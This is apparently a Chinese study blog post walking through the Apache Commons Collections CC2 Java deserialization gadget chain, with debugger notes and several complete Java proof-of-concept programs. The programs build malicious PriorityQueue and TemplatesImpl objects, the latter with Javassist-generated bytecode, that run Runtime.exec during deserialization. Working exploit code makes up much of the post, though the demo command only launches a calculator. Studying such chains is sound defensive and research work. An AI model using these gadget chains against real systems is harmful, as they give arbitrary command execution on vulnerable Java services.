Java 反序列化漏洞-Apache Commons Collections2-TemplatesImpl攻击链

前言

前面分析了CC1,今天继续学习,分析下CC2。在 ysoserial中 CC2 是用的 PriorityQueue类 作为反序列化的入口,那我就从这里开始分析吧。

漏洞挖掘

PriorityQueue

PriorityQueue 优先级队列是基于优先级堆(a priority heap)的一种特殊队列,他给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取。默认情况下,优先级队列会根据自然顺序对元素进行排序。

因此,放入PriorityQueue的元素,必须实现 Comparable 接口,PriorityQueue 会根据元素的排序顺序决定出队的优先级。如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。

PriorityQueue.readObject()

在这里插入图片描述
PriorityQueue.readObject()方法调用了heapify()方法,我们继续跟入

PriorityQueue.heapify()

在这里插入图片描述
heapify()调用了siftDown()方法,继续跟入。

PriorityQueue.siftDown()

在这里插入图片描述
当 comparator 属性不为空时,调用 siftDownUsingComparator() 方法

PriorityQueue.siftDownUsingComparator()

在这里插入图片描述
在 siftDownUsingComparator() 方法中,会调用 comparator 的 compare() 方法来进行优先级的比较和排序。

接下来我们看看在哪实现了compare()方法吧,
在这里插入图片描述
这里我们选择/org/apache/commons/collections4/comparators/TransformingComparator.java

TransformingComparator.compare()

在这里插入图片描述
在这里我们看到了熟悉的this.transformer.transform,CC1之前用的也是transformer.transform(),那我们只要把之前挖的链拿来这里用就行了,让this.transformer=chain即可

构造利用链

我们先看一眼TransformingComparator类的this.transformer是否可控
在这里插入图片描述
从这不难看出,我们只要直接传入即可。

然后再看到siftDown()函数这里
在这里插入图片描述
我们需要comparator 不为空,而且这里 comparator 可控,可由PriorityQueue 的构造方法传入

最后一个需要注意的点是heapify()函数这里
在这里插入图片描述
这里需要(size >>> 1) - 1 >=0,也就是size>=2

跟据上面的总结我们很容易写出利用链代码,chain的挖掘思路可以看看CC1

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        TransformingComparator transformingComparator = new TransformingComparator(chain);

        PriorityQueue queue = new PriorityQueue(2, transformingComparator);
        queue.add(1);
        queue.add(2);

        ByteArrayOutputStream exp=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(exp);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois=new ObjectInputStream(out);
        Object obj=(Object) ois.readObject();

    }
}

利用链的构造与改进

上面的代码虽然能弹出计算器,但我之前调试的时候在前面用到的函数那里都下了断点,但是却都没有触发断点,包括readobject()函数,debug直接停在了compare()函数那里,这就说明他没有按照我们设想的利用链去走,没有触发反序列化,这是我们所不允许的。
在这里插入图片描述
根据左下角的函数调用栈,我们可以看到它调用的几个函数并不是我们所设想的
在这里插入图片描述
compare执行到return后程序直接停止了,所以我们后面的反序列化并没有执行。看大佬文章说原因是由于 ProcessImpl 没有实现Comparable而报错,程序终止,就没有执行后面生成序列化数据的代码。这是我们所不允许的,所以我们要看看调用栈里的其他函数有没有办法不让它走到这里

在这里插入图片描述
这里我们选择了siftUp函数,如果让 comparator 为null,他就会进入到 siftUpComparable,这样就不会出错了。但通过前面的分析我们知道了,我们反序列化的利用链是要让 comparator 不为null,那我们应该如何解决这个问题呢?这里想到了反射,在add 2个元素结束之后,将 queue对象中的 comparator设置成 transformingComparator,这里就需要用到反射了。

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        TransformingComparator transformingComparator = new TransformingComparator(chain);

        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);

        Field comparator = queue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(queue,transformingComparator);

        ByteArrayOutputStream exp=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(exp);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois=new ObjectInputStream(out);
        Object obj=(Object) ois.readObject();

    }
}

在这里插入图片描述
调用链为

PriorityQueue.readObject()
    TransformingComparator.compare()
        *ChainedTransformer.transform()
                InvokerTransformer.transform()

这里额外说一点,上面这种方法是让compare()方法里的this.transformer=chain来触发,我们换种思路再写个利用方式,我们让this.transformer=InvokerTransformer这么来触发
在这里插入图片描述

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator =  new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        Field iParamTypes = transformer.getClass().getDeclaredField("iParamTypes");
        Field iArgs = transformer.getClass().getDeclaredField("iArgs");
        iMethodName.setAccessible(true);
        iParamTypes.setAccessible(true);
        iArgs.setAccessible(true);
        iMethodName.set(transformer,"transform");
        iParamTypes.set(transformer,new Class[]{Object.class});
        iArgs.set(transformer,new Object[]{null});

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{chain,2});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(ysoserial 中的 CC2)

这条利用链我在Java 反序列化漏洞–fastjson-1.2.24–TemplatesImpl攻击链分析过了,大家可以直接看那篇文章中POC构造那部分说明了使用要求
在这里插入图片描述
在这里插入图片描述

所以这里我们需要将恶意代码写到类的无参构造函数或static代码块中转换为字节码赋值给_bytecodes

这里我们用到了javassist,javassist是Java的一个库,可以修改字节码。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class Javassist_test {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块,并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] classBytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }

}

根据前面分析,我们只需要通过反射反射将恶意的 TemplatesImpl 对象写入到 PriorityQueue 的 queue 中,也就是用这个恶意类代替上面的chain。然后找到一个位置调用newTransformer就能完成整个攻击。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;



public class CC2_final {
    public static void main(String[] args) throws Exception{

        TemplatesImpl template = template();

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator =  new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{template,2});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
    public static TemplatesImpl template() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        return templates;
    }
}

这个和上面的第二种方法有点像,调用链如下所示

PriorityQueue.readObject()
    TransformingComparator.compare()
                InvokerTransformer.transform()
                    TemplatesImpl.newTransformer()

总结

CC2的构造思路和CC1还是有点像的,CC2利用 PriorityQueue 在反序列化后会对队列进行优先级排序的特点,为其指定 TransformingComparator 排序方法,并在其中为其添加 Transforer,与 CC1 类似,主要的触发位置还是 InvokerTransformer。
这次学习记录了CC2的两种利用方式,ysoserial 中的 CC2需要额外的知识javassist来进行构造,javassist是一个不错的知识点,后续可以继续学习。

参考
https://su18.org/post/ysoserial-su18-2/#commonscollections2
https://www.cnblogs.com/depycode/p/13583102.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值